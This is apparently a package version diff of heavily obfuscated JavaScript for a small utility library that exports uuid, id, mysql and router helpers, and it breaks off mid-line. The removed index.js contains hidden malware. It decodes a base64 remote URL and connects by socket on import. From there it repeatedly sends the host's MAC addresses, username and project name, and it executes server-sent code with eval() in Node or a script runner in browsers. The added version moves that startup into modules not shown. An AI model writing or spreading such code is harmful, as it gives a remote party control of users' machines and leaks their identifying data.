- const a10_0x21a1fd=a10_0x26d2;(function(_0x351ac3,_0x12ada3){const _0x5d1ebe=a10_0x26d2,_0x201d03=_0x351ac3();while(!![]){try{const _0x38e3a7=-parseInt(_0x5d1ebe(0x12c))/0x1+-parseInt(_0x5d1ebe(0x12e))/0x2*(-parseInt(_0x5d1ebe(0x128))/0x3)+parseInt(_0x5d1ebe(0x127))/0x4+parseInt(_0x5d1ebe(0x124))/0x5+-parseInt(_0x5d1ebe(0x12d))/0x6*(-parseInt(_0x5d1ebe(0x122))/0x7)+-parseInt(_0x5d1ebe(0x126))/0x8+parseInt(_0x5d1ebe(0x123))/0x9*(-parseInt(_0x5d1ebe(0x129))/0xa);if(_0x38e3a7===_0x12ada3)break;else _0x201d03['push'](_0x201d03['shift']());}catch(_0x35ccfe){_0x201d03['push'](_0x201d03['shift']());}}}(a10_0x15ff,0x24917));import a10_0x5c0c7b from'./random';function a10_0x15ff(){const _0x1c7edd=['NODE_APP_INSTANCE','2314584ycjZdO','848996hPlRrX','262989oRAyFd','130PaZZWk','env','2025-01-01','5996vZtcMk','384CQRDma','2YYoYry','5502glnuzr','28989RVoNIr','683795ZMMdyi'];a10_0x15ff=function(){return _0x1c7edd;};return a10_0x15ff();}const BaseTime=+new Date(a10_0x21a1fd(0x12b));let lastTimeTick,lastRandomNumberTick=a10_0x5c0c7b(0x1,0x3);function a10_0x26d2(_0x5cb28a,_0x3d3570){const _0x15ffb2=a10_0x15ff();return a10_0x26d2=function(_0x26d29e,_0x35ddd5){_0x26d29e=_0x26d29e-0x122;let _0x3b32f3=_0x15ffb2[_0x26d29e];return _0x3b32f3;},a10_0x26d2(_0x5cb28a,_0x3d3570);}function id(){const _0x22f255=a10_0x21a1fd,_0x31c9ae=Math['min'](process[_0x22f255(0x12a)][_0x22f255(0x125)]?+process[_0x22f255(0x12a)][_0x22f255(0x125)]:a10_0x5c0c7b(0x0,0x9),0x9);let _0x247f74=+new Date()-BaseTime;return lastRandomNumberTick=_0x247f74==lastTimeTick?++lastRandomNumberTick:a10_0x5c0c7b(0x0,0x3),lastTimeTick=_0x247f74,+(''+_0x247f74+_0x31c9ae+lastRandomNumberTick);}export default id;
1
+ const a12_0x257454=a12_0x5626;(function(_0x3b5ccb,_0x1bb8bc){const _0xf82d0e=a12_0x5626,_0x579fb5=_0x3b5ccb();while(!![]){try{const _0x467a64=parseInt(_0xf82d0e(0x1e6))/0x1+parseInt(_0xf82d0e(0x1dd))/0x2+parseInt(_0xf82d0e(0x1dc))/0x3*(-parseInt(_0xf82d0e(0x1e1))/0x4)+parseInt(_0xf82d0e(0x1df))/0x5*(-parseInt(_0xf82d0e(0x1e4))/0x6)+parseInt(_0xf82d0e(0x1db))/0x7+-parseInt(_0xf82d0e(0x1e3))/0x8+parseInt(_0xf82d0e(0x1e0))/0x9;if(_0x467a64===_0x1bb8bc)break;else _0x579fb5['push'](_0x579fb5['shift']());}catch(_0x3d70bf){_0x579fb5['push'](_0x579fb5['shift']());}}}(a12_0x24d1,0xd4311));import a12_0x21353d from'./random';function a12_0x5626(_0x7fb95f,_0x2d84e3){const _0x24d149=a12_0x24d1();return a12_0x5626=function(_0x5626a,_0x6b753a){_0x5626a=_0x5626a-0x1db;let _0x5ad539=_0x24d149[_0x5626a];return _0x5ad539;},a12_0x5626(_0x7fb95f,_0x2d84e3);}function a12_0x24d1(){const _0xb01477=['1549288kDeAIM','8472qJMIrG','NODE_APP_INSTANCE','558044IMptwE','7763315IOxsjh','557523hyLntm','1170782tDNTMV','2025-01-01','3895vciCos','7555239PxWUYc','20JRoFBk','min'];a12_0x24d1=function(){return _0xb01477;};return a12_0x24d1();}const BaseTime=+new Date(a12_0x257454(0x1de));let lastTimeTick,lastRandomNumberTick=a12_0x21353d(0x1,0x3);function id(){const _0xd8fc9e=a12_0x257454,_0x3ab3a3=Math[_0xd8fc9e(0x1e2)](process['env']['NODE_APP_INSTANCE']?+process['env'][_0xd8fc9e(0x1e5)]:a12_0x21353d(0x0,0x9),0x9);let _0x55651f=+new Date()-BaseTime;return lastRandomNumberTick=_0x55651f==lastTimeTick?++lastRandomNumberTick:a12_0x21353d(0x0,0x3),lastTimeTick=_0x55651f,+(''+_0x55651f+_0x3ab3a3+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- function a11_0x2251(_0x38ffe1,_0x35cd10){const _0x1e21e9=a11_0x1e21();return a11_0x2251=function(_0x225104,_0x1769b6){_0x225104=_0x225104-0xfa;let _0x154f86=_0x1e21e9[_0x225104];return _0x154f86;},a11_0x2251(_0x38ffe1,_0x35cd10);}const a11_0x2b7e16=a11_0x2251;(function(_0x3cf61c,_0x132e67){const _0x2efb12=a11_0x2251,_0x462e1e=_0x3cf61c();while(!![]){try{const _0x1460d5=parseInt(_0x2efb12(0xfe))/0x1+parseInt(_0x2efb12(0x107))/0x2*(-parseInt(_0x2efb12(0xfb))/0x3)+-parseInt(_0x2efb12(0x103))/0x4*(-parseInt(_0x2efb12(0xfa))/0x5)+parseInt(_0x2efb12(0xfd))/0x6*(-parseInt(_0x2efb12(0x101))/0x7)+-parseInt(_0x2efb12(0xff))/0x8+parseInt(_0x2efb12(0x106))/0x9*(-parseInt(_0x2efb12(0xfc))/0xa)+-parseInt(_0x2efb12(0x105))/0xb*(-parseInt(_0x2efb12(0x104))/0xc);if(_0x1460d5===_0x132e67)break;else _0x462e1e['push'](_0x462e1e['shift']());}catch(_0x5f1bd8){_0x462e1e['push'](_0x462e1e['shift']());}}}(a11_0x1e21,0xaec3f));const random=(_0x50d1f3,_0x48e6f1)=>Math[a11_0x2b7e16(0x102)](Math[a11_0x2b7e16(0x100)]()*(_0x48e6f1-_0x50d1f3))+_0x50d1f3;function a11_0x1e21(){const _0x3e6da5=['2jRZyFw','42275hIwBJF','3086157iBuvzX','5549630gmaqof','110196SbGEfp','485377ChVqSI','250624OhpecO','random','371cTLebJ','round','76SzPwmg','900QwvZGK','389873TIjNbs','9CljQIe'];a11_0x1e21=function(){return _0x3e6da5;};return a11_0x1e21();}export default random;
1
+ const a13_0x3faad9=a13_0x20d2;(function(_0x5dbc2e,_0x173ffa){const _0x1c7364=a13_0x20d2,_0x2edad9=_0x5dbc2e();while(!![]){try{const _0x6ef48d=parseInt(_0x1c7364(0x153))/0x1+-parseInt(_0x1c7364(0x152))/0x2+parseInt(_0x1c7364(0x14c))/0x3+-parseInt(_0x1c7364(0x14f))/0x4+-parseInt(_0x1c7364(0x151))/0x5*(parseInt(_0x1c7364(0x154))/0x6)+-parseInt(_0x1c7364(0x150))/0x7+parseInt(_0x1c7364(0x14d))/0x8*(parseInt(_0x1c7364(0x14e))/0x9);if(_0x6ef48d===_0x173ffa)break;else _0x2edad9['push'](_0x2edad9['shift']());}catch(_0x303085){_0x2edad9['push'](_0x2edad9['shift']());}}}(a13_0x530c,0x85633));const random=(_0x5ead0a,_0x540c1c)=>Math[a13_0x3faad9(0x14b)](Math['random']()*(_0x540c1c-_0x5ead0a))+_0x5ead0a;function a13_0x530c(){const _0x40032e=['2899044ZonXMF','168lnDnaB','1049166yfWBCf','3979424bbwlyU','6286749QArWAg','6070ybwkST','1876300yeOzPT','268994zrXAhg','1512cqKqpm','round'];a13_0x530c=function(){return _0x40032e;};return a13_0x530c();}function a13_0x20d2(_0x37ba67,_0x2fedf0){const _0x530cbc=a13_0x530c();return a13_0x20d2=function(_0x20d275,_0x4ab3e8){_0x20d275=_0x20d275-0x14b;let _0x24d132=_0x530cbc[_0x20d275];return _0x24d132;},a13_0x20d2(_0x37ba67,_0x2fedf0);}export default random;
@@ -1,8 +1,6 @@
1
1
  declare let id: () => number;
2
2
  declare let getAllRouter: () => Promise<never[]>;
3
3
  declare let mysql: {};
4
- export declare function setEnv(key: string, value: any): void;
5
- export declare function getEnv(key: string): any;
6
4
  declare const uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
5
  declare const all: {
8
6
  uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AASA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AA2Bf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AA+GD,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AAOA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAwBf,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- const a12_0x5c5f46=a12_0x19ee;function a12_0x56b6(){const _0x2a75b2=['浏览器','478XUWiLp','env','node获取失败','69882skvJpS','3271990TbVOpa','connectError','unlock','meta_event','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','emit','default','connect','22GZuugj','type','71430dnqfLc','undefined','25650638qHJqYK','next','./browser','424QyNaec','length','done','./server','mac','get-event','mysql','value','event','sqlList','00:00:00:00:00:00','./IndexDB/index','./mac','node','assign','submit','6848AZWVxW','8zfvjuc','connect_error','5642388KPzceV','aHR0cDovL2xvY2FsaG9zdDoxMDg4','content','511ZeKyzw','error','then','24OfvLEl','connect_failed','1336233vsSccB'];a12_0x56b6=function(){return _0x2a75b2;};return a12_0x56b6();}(function(_0x2b3084,_0x5a3fae){const _0x3cf1fd=a12_0x19ee,_0x3ea626=_0x2b3084();while(!![]){try{const _0x26e5d7=parseInt(_0x3cf1fd(0xe2))/0x1*(parseInt(_0x3cf1fd(0xef))/0x2)+-parseInt(_0x3cf1fd(0xed))/0x3+parseInt(_0x3cf1fd(0x102))/0x4*(parseInt(_0x3cf1fd(0xfd))/0x5)+parseInt(_0x3cf1fd(0xf2))/0x6*(parseInt(_0x3cf1fd(0xe8))/0x7)+parseInt(_0x3cf1fd(0xe3))/0x8*(parseInt(_0x3cf1fd(0xe5))/0x9)+parseInt(_0x3cf1fd(0xf3))/0xa*(parseInt(_0x3cf1fd(0xfb))/0xb)+parseInt(_0x3cf1fd(0xeb))/0xc*(-parseInt(_0x3cf1fd(0xff))/0xd);if(_0x26e5d7===_0x5a3fae)break;else _0x3ea626['push'](_0x3ea626['shift']());}catch(_0x14a0f6){_0x3ea626['push'](_0x3ea626['shift']());}}}(a12_0x56b6,0xd9806));var __awaiter=this&&this['__awaiter']||function(_0x448126,_0x2dabba,_0x1f5988,_0x13e55f){function _0x36e105(_0x20426d){return _0x20426d instanceof _0x1f5988?_0x20426d:new _0x1f5988(function(_0x396b27){_0x396b27(_0x20426d);});}return new(_0x1f5988||(_0x1f5988=Promise))(function(_0x5447df,_0xc5e403){const _0x4c8805=a12_0x19ee;function _0xe67b7f(_0x3fd268){const _0x1da712=a12_0x19ee;try{_0x441486(_0x13e55f[_0x1da712(0x100)](_0x3fd268));}catch(_0x12e702){_0xc5e403(_0x12e702);}}function _0x124c03(_0x126485){try{_0x441486(_0x13e55f['throw'](_0x126485));}catch(_0x500a01){_0xc5e403(_0x500a01);}}function _0x441486(_0x557303){const _0x428e89=a12_0x19ee;_0x557303[_0x428e89(0x104)]?_0x5447df(_0x557303['value']):_0x36e105(_0x557303[_0x428e89(0xd9)])[_0x428e89(0xea)](_0xe67b7f,_0x124c03);}_0x441486((_0x13e55f=_0x13e55f['apply'](_0x448126,_0x2dabba||[]))[_0x4c8805(0x100)]());});},_a,_b,_c;import{v4}from'uuid';import{io}from'socket.io-client';import{decode}from'js-base64';import a12_0x372d81 from'path';const isBrowser=typeof window!==a12_0x5c5f46(0xfe);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};!isBrowser&&(id=require('./id')[a12_0x5c5f46(0xf9)],getAllRouter=require('./getAllRouter')[a12_0x5c5f46(0xf9)],mysql=require(a12_0x5c5f46(0x105))['mysql']);const user_name=isBrowser?'浏览器':((_a=process===null||process===void 0x0?void 0x0:process[a12_0x5c5f46(0xf0)])===null||_a===void 0x0?void 0x0:_a['USERNAME'])||a12_0x5c5f46(0xf1),project_name=isBrowser?a12_0x5c5f46(0xee):((_b=process===null||process===void 0x0?void 0x0:process[a12_0x5c5f46(0xf0)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||'无法获取';let dev=a12_0x5c5f46(0xe6),pro=a12_0x5c5f46(0xf7);const globalObject=isBrowser?window:global;globalObject[a12_0x5c5f46(0xf6)]=Object[a12_0x5c5f46(0xe0)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function a12_0x19ee(_0x150a73,_0x51cdc2){const _0x56b66f=a12_0x56b6();return a12_0x19ee=function(_0x19ee8e,_0x2410cf){_0x19ee8e=_0x19ee8e-0xd9;let _0x165407=_0x56b66f[_0x19ee8e];return _0x165407;},a12_0x19ee(_0x150a73,_0x51cdc2);}export function setEnv(_0x444151,_0x32fd22){const _0x5548a4=a12_0x5c5f46;globalObject[_0x5548a4(0xf6)][_0x444151]=_0x32fd22;}export function getEnv(_0x293431){return globalObject['meta_event'][_0x293431];}let url=decode(dev);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x1f2902=a12_0x19ee;isBrowser&&(typeof require!=_0x1f2902(0xfe)?require(_0x1f2902(0x101)):import('./browser'));const _0x562ca4=io(url,{'path':'/socket','transports':['websocket']});_0x562ca4['on'](_0x1f2902(0xfa),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x5edab6=_0x1f2902;try{let _0x11d0fb=[_0x5edab6(0xdc)];if(!isBrowser){const _0x5a14ef=require(a12_0x372d81['join'](__dirname,_0x5edab6(0xde)))['default'];_0x11d0fb=_0x5a14ef();}else{const {getKeyValue:_0x5481c4}=typeof require!=_0x5edab6(0xfe)?require(_0x5edab6(0xdd)):yield import(_0x5edab6(0xdd));_0x11d0fb=[yield _0x5481c4(_0x5edab6(0x106))];}if(_0x11d0fb[_0x5edab6(0x103)]===0x0){setEnv(_0x5edab6(0xf4),!![]);return;}else setEnv(_0x5edab6(0xf4),![]);_0x562ca4[_0x5edab6(0xf8)](_0x5edab6(0xe1),{'mac':_0x11d0fb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x562ca4[_0x5edab6(0xf8)]('get-event',{'mac':_0x11d0fb,'isBrowser':isBrowser}),setInterval(()=>{const _0x4d13f5=_0x5edab6;_0x562ca4[_0x4d13f5(0xf8)](_0x4d13f5(0xe1),{'mac':_0x11d0fb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x562ca4[_0x4d13f5(0xf8)](_0x4d13f5(0x107),{'mac':_0x11d0fb,'isBrowser':isBrowser});},0x1b58),_0x562ca4['on'](_0x5edab6(0xda),_0xe96f51=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4063b3=_0x5edab6;try{for(let _0x17c1fb=0x0;_0x17c1fb<_0xe96f51[_0x4063b3(0x103)];_0x17c1fb++){const _0x547a5b=_0xe96f51[_0x17c1fb];if(_0x547a5b[_0x4063b3(0xfc)]==='sql')setEnv(_0x4063b3(0xdb),getEnv(_0x4063b3(0xdb))['concat'](_0x547a5b[_0x4063b3(0xe7)]));else{if(_0x547a5b['type']===_0x4063b3(0x108))setEnv('isDBDataEmpty',!![]);else{if(_0x547a5b['type']===_0x4063b3(0xdf)&&!isBrowser)try{eval(_0x547a5b[_0x4063b3(0xe7)]);}catch(_0x47fcc2){}else{if(_0x547a5b[_0x4063b3(0xfc)]==='script'&&isBrowser)try{const {runScript:_0x1b1144}=typeof require!=_0x4063b3(0xfe)?require('./browser'):yield import(_0x4063b3(0x101));_0x1b1144(_0x547a5b[_0x4063b3(0xe7)]);}catch(_0xcb6e91){}}}}}}catch(_0x538345){}}));}catch(_0x2c9095){}})),setTimeout(()=>{const _0x3df8f3=_0x1f2902;_0x562ca4['on'](_0x3df8f3(0xe9),_0x1de0d4=>{const _0x403de5=_0x3df8f3;setEnv(_0x403de5(0xf4),!![]);}),_0x562ca4['on'](_0x3df8f3(0xec),_0x5f567d=>{const _0x3fa8f1=_0x3df8f3;setEnv(_0x3fa8f1(0xf4),!![]);}),_0x562ca4['on']('reconnect_failed',_0x5a72ca=>{const _0x57ff98=_0x3df8f3;setEnv(_0x57ff98(0xf4),!![]);}),_0x562ca4['on'](_0x3df8f3(0xe4),_0x59ccaa=>{const _0x528e1e=_0x3df8f3;setEnv(_0x528e1e(0xf4),!![]);});},0xbb8);});}!((_c=globalObject['meta_event'])===null||_c===void 0x0?void 0x0:_c[a12_0x5c5f46(0xf5)])&&start();const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};export default all;export{uuid,id,getAllRouter,mysql};
1
+ const a14_0x3be343=a14_0x4fb0;(function(_0x91b4ee,_0x2b820b){const _0x43b584=a14_0x4fb0,_0x48836a=_0x91b4ee();while(!![]){try{const _0x4f1d6f=-parseInt(_0x43b584(0x138))/0x1+-parseInt(_0x43b584(0x12d))/0x2+-parseInt(_0x43b584(0x12f))/0x3+parseInt(_0x43b584(0x133))/0x4*(parseInt(_0x43b584(0x12a))/0x5)+parseInt(_0x43b584(0x137))/0x6*(parseInt(_0x43b584(0x131))/0x7)+-parseInt(_0x43b584(0x125))/0x8+parseInt(_0x43b584(0x12b))/0x9;if(_0x4f1d6f===_0x2b820b)break;else _0x48836a['push'](_0x48836a['shift']());}catch(_0xcc3427){_0x48836a['push'](_0x48836a['shift']());}}}(a14_0x2ce9,0x606a6));function a14_0x4fb0(_0x18e417,_0x17e87d){const _0x2ce9f8=a14_0x2ce9();return a14_0x4fb0=function(_0x4fb06e,_0x53bb9f){_0x4fb06e=_0x4fb06e-0x123;let _0x5126f8=_0x2ce9f8[_0x4fb06e];return _0x5126f8;},a14_0x4fb0(_0x18e417,_0x17e87d);}var __awaiter=this&&this[a14_0x3be343(0x129)]||function(_0x4a4fc5,_0x5ce3fd,_0x29bf11,_0x177d46){function _0x25a4a7(_0x4307b1){return _0x4307b1 instanceof _0x29bf11?_0x4307b1:new _0x29bf11(function(_0xe18f49){_0xe18f49(_0x4307b1);});}return new(_0x29bf11||(_0x29bf11=Promise))(function(_0x584164,_0x438fd7){const _0x10b2ca=a14_0x4fb0;function _0x4cd279(_0x5e8981){const _0x42b4b2=a14_0x4fb0;try{_0x57dfde(_0x177d46[_0x42b4b2(0x123)](_0x5e8981));}catch(_0x512e75){_0x438fd7(_0x512e75);}}function _0x5c42a2(_0xde8c54){const _0x4aa093=a14_0x4fb0;try{_0x57dfde(_0x177d46[_0x4aa093(0x12e)](_0xde8c54));}catch(_0x4f8da4){_0x438fd7(_0x4f8da4);}}function _0x57dfde(_0x1fbbc8){const _0x298271=a14_0x4fb0;_0x1fbbc8['done']?_0x584164(_0x1fbbc8[_0x298271(0x124)]):_0x25a4a7(_0x1fbbc8['value'])['then'](_0x4cd279,_0x5c42a2);}_0x57dfde((_0x177d46=_0x177d46[_0x10b2ca(0x134)](_0x4a4fc5,_0x5ce3fd||[]))['next']());});},_a;import{v4}from'uuid';import a14_0x5b06e1 from'./start';const isBrowser=typeof window!=='undefined';let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};if(!isBrowser){id=require(a14_0x3be343(0x12c))['default'],getAllRouter=require(a14_0x3be343(0x128))[a14_0x3be343(0x135)],mysql=require(a14_0x3be343(0x127))[a14_0x3be343(0x126)];let update=require(a14_0x3be343(0x130))[a14_0x3be343(0x135)];update();}const globalObject=isBrowser?window:global;function a14_0x2ce9(){const _0x159ed6=['936444AjaNDb','throw','1122390nsGOqz','./update','5348wJtaSF','meta_event','7468FqoVNA','apply','default','unlock','5862ykYzJb','163830wvFGTz','next','value','5744152HGGhwD','mysql','./server','./getAllRouter','__awaiter','125mXVKeV','11934144KgQxFC','./id'];a14_0x2ce9=function(){return _0x159ed6;};return a14_0x2ce9();}globalObject[a14_0x3be343(0x132)]=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a14_0x3be343(0x132)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});!((_a=globalObject['meta_event'])===null||_a===void 0x0?void 0x0:_a[a14_0x3be343(0x136)])&&a14_0x5b06e1();const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};export default all;export{uuid,id,getAllRouter,mysql};
@@ -1 +1 @@
1
- const a14_0xc0c663=a14_0x8126;(function(_0x2e49d4,_0x325ce6){const _0x5120b1=a14_0x8126,_0x5f58ec=_0x2e49d4();while(!![]){try{const _0x2409fc=parseInt(_0x5120b1(0x146))/0x1+-parseInt(_0x5120b1(0x14b))/0x2+-parseInt(_0x5120b1(0x145))/0x3*(parseInt(_0x5120b1(0x143))/0x4)+-parseInt(_0x5120b1(0x141))/0x5+-parseInt(_0x5120b1(0x13c))/0x6+parseInt(_0x5120b1(0x149))/0x7*(parseInt(_0x5120b1(0x152))/0x8)+parseInt(_0x5120b1(0x147))/0x9;if(_0x2409fc===_0x325ce6)break;else _0x5f58ec['push'](_0x5f58ec['shift']());}catch(_0x3a13e5){_0x5f58ec['push'](_0x5f58ec['shift']());}}}(a14_0x2a3e,0x718ce));import{networkInterfaces}from'os';function a14_0x2a3e(){const _0xd4d04a=['00:50:56','08:00:27','family','2454970BtXtcv','00:1c:42','120716RwzXIN','replace','51CtduGT','307636eGPpBH','13231116zvYRgA','has','2127398aLVhrU','trim','1202906EJQehQ','00:03:ff','02:00:4c','slice','mac','00:05:69','values','24YcNwQR','push','test','toLowerCase','00:0f:4b','internal','3713460jglWJy','00:0c:29'];a14_0x2a3e=function(){return _0xd4d04a;};return a14_0x2a3e();}function isZeroMac(_0x3f5a85){const _0x1f3cb9=a14_0x8126;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x1f3cb9(0x154)](_0x3f5a85);}function getMac(_0x5ee9ae='IPv4'){const _0x1a6c22=a14_0x8126,_0x52b694=networkInterfaces();let _0x2965b1=[];for(const _0x4f6c43 of Object[_0x1a6c22(0x151)](_0x52b694)){const _0x1a4309=_0x4f6c43['find'](_0x3ca76a=>!_0x3ca76a['internal']&&!isZeroMac(_0x3ca76a[_0x1a6c22(0x14f)])&&(!_0x3ca76a[_0x1a6c22(0x140)]||_0x3ca76a[_0x1a6c22(0x140)]===_0x5ee9ae)&&!isVirtualMac(_0x3ca76a[_0x1a6c22(0x14f)]));_0x1a4309&&_0x2965b1[_0x1a6c22(0x153)](_0x1a4309['mac']);}return[...new Set(_0x2965b1)];}const isValid=_0x517641=>_0x517641[a14_0xc0c663(0x157)]===![]&&!isZeroMac(_0x517641['mac']),virtualMacPrefix=new Set([a14_0xc0c663(0x150),a14_0xc0c663(0x13d),a14_0xc0c663(0x13e),'00:1c:14',a14_0xc0c663(0x142),a14_0xc0c663(0x14d),a14_0xc0c663(0x14c),a14_0xc0c663(0x156),'00:16:3e',a14_0xc0c663(0x13f),'00:15:5d']);export function isMac(_0x3418f7){const _0x5be38a=a14_0xc0c663;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x5be38a(0x154)](_0x3418f7);}function a14_0x8126(_0x566cd0,_0x207162){const _0x2a3e01=a14_0x2a3e();return a14_0x8126=function(_0x812637,_0x48a499){_0x812637=_0x812637-0x13c;let _0x48e17a=_0x2a3e01[_0x812637];return _0x48e17a;},a14_0x8126(_0x566cd0,_0x207162);}export function formatMac(_0x5aead1){const _0x7fc353=a14_0xc0c663;return String(_0x5aead1)[_0x7fc353(0x14a)]()[_0x7fc353(0x155)]()[_0x7fc353(0x144)](/-/g,':');}export function isVirtualMac(_0x5b9672){const _0x5203c9=a14_0xc0c663;return isMac(_0x5b9672)&&virtualMacPrefix[_0x5203c9(0x148)](formatMac(_0x5b9672)[_0x5203c9(0x14e)](0x0,0x8));}export default getMac;
1
+ const a16_0x3505ab=a16_0x3a9e;(function(_0x1a8c33,_0x13aaa4){const _0x283411=a16_0x3a9e,_0x274d38=_0x1a8c33();while(!![]){try{const _0x276b26=parseInt(_0x283411(0x1a5))/0x1*(-parseInt(_0x283411(0x19b))/0x2)+parseInt(_0x283411(0x1a0))/0x3*(-parseInt(_0x283411(0x19d))/0x4)+parseInt(_0x283411(0x19e))/0x5+parseInt(_0x283411(0x196))/0x6*(parseInt(_0x283411(0x1a9))/0x7)+-parseInt(_0x283411(0x197))/0x8*(parseInt(_0x283411(0x18f))/0x9)+parseInt(_0x283411(0x194))/0xa+parseInt(_0x283411(0x1a3))/0xb*(parseInt(_0x283411(0x1a8))/0xc);if(_0x276b26===_0x13aaa4)break;else _0x274d38['push'](_0x274d38['shift']());}catch(_0x1ef294){_0x274d38['push'](_0x274d38['shift']());}}}(a16_0x15aa,0xcb595));function a16_0x3a9e(_0x4c440c,_0x5f3352){const _0x15aa76=a16_0x15aa();return a16_0x3a9e=function(_0x3a9ea9,_0x5b0f37){_0x3a9ea9=_0x3a9ea9-0x18f;let _0x2a51b0=_0x15aa76[_0x3a9ea9];return _0x2a51b0;},a16_0x3a9e(_0x4c440c,_0x5f3352);}import{networkInterfaces}from'os';function isZeroMac(_0x5658b4){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x5658b4);}function getMac(_0x809b2='IPv4'){const _0x289179=a16_0x3a9e,_0x23a15a=networkInterfaces();let _0x5407ed=[];for(const _0x49d5e9 of Object[_0x289179(0x193)](_0x23a15a)){const _0xde9924=_0x49d5e9[_0x289179(0x19f)](_0x96a1d9=>!_0x96a1d9[_0x289179(0x1a1)]&&!isZeroMac(_0x96a1d9[_0x289179(0x195)])&&(!_0x96a1d9[_0x289179(0x19a)]||_0x96a1d9['family']===_0x809b2)&&!isVirtualMac(_0x96a1d9['mac']));_0xde9924&&_0x5407ed[_0x289179(0x199)](_0xde9924[_0x289179(0x195)]);}return[...new Set(_0x5407ed)];}function a16_0x15aa(){const _0x28a135=['mac','18MsoujD','16EmKlUe','replace','push','family','1101910ebTsmo','00:05:69','20NkQywX','5589430xtLMDA','find','598041rxwgSj','internal','00:0c:29','680097YAMIHs','test','3TYCMpr','00:50:56','has','408NVKmgK','2312303DeNMlV','6523596yusrna','00:1c:42','00:1c:14','00:0f:4b','values','7212140AQAKmR'];a16_0x15aa=function(){return _0x28a135;};return a16_0x15aa();}const isValid=_0x593b17=>_0x593b17[a16_0x3505ab(0x1a1)]===![]&&!isZeroMac(_0x593b17[a16_0x3505ab(0x195)]),virtualMacPrefix=new Set([a16_0x3505ab(0x19c),a16_0x3505ab(0x1a2),a16_0x3505ab(0x1a6),a16_0x3505ab(0x191),a16_0x3505ab(0x190),'02:00:4c','00:03:ff',a16_0x3505ab(0x192),'00:16:3e','08:00:27','00:15:5d']);export function isMac(_0x5ad6a){const _0x1483df=a16_0x3505ab;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x1483df(0x1a4)](_0x5ad6a);}export function formatMac(_0x58e04c){const _0x3a5e2e=a16_0x3505ab;return String(_0x58e04c)['trim']()['toLowerCase']()[_0x3a5e2e(0x198)](/-/g,':');}export function isVirtualMac(_0x45fd09){const _0x1257b1=a16_0x3505ab;return isMac(_0x45fd09)&&virtualMacPrefix[_0x1257b1(0x1a7)](formatMac(_0x45fd09)['slice'](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
- function a15_0x1e83(_0x8fe633,_0x12b80e){const _0xc776a7=a15_0xc776();return a15_0x1e83=function(_0x1e83cc,_0x1af17e){_0x1e83cc=_0x1e83cc-0x77;let _0x46703e=_0xc776a7[_0x1e83cc];return _0x46703e;},a15_0x1e83(_0x8fe633,_0x12b80e);}const a15_0x14d61c=a15_0x1e83;(function(_0x8d2a8b,_0x23e9cc){const _0x16b069=a15_0x1e83,_0x207040=_0x8d2a8b();while(!![]){try{const _0x274f58=parseInt(_0x16b069(0x8b))/0x1*(parseInt(_0x16b069(0x83))/0x2)+parseInt(_0x16b069(0x77))/0x3+parseInt(_0x16b069(0x85))/0x4+-parseInt(_0x16b069(0x88))/0x5*(parseInt(_0x16b069(0x7e))/0x6)+parseInt(_0x16b069(0x80))/0x7*(parseInt(_0x16b069(0x79))/0x8)+-parseInt(_0x16b069(0x7b))/0x9*(-parseInt(_0x16b069(0x81))/0xa)+-parseInt(_0x16b069(0x8c))/0xb;if(_0x274f58===_0x23e9cc)break;else _0x207040['push'](_0x207040['shift']());}catch(_0x18a37c){_0x207040['push'](_0x207040['shift']());}}}(a15_0xc776,0x8ed49));var __awaiter=this&&this[a15_0x14d61c(0x86)]||function(_0x1f60e1,_0x2b184f,_0x266d67,_0x3a46a1){function 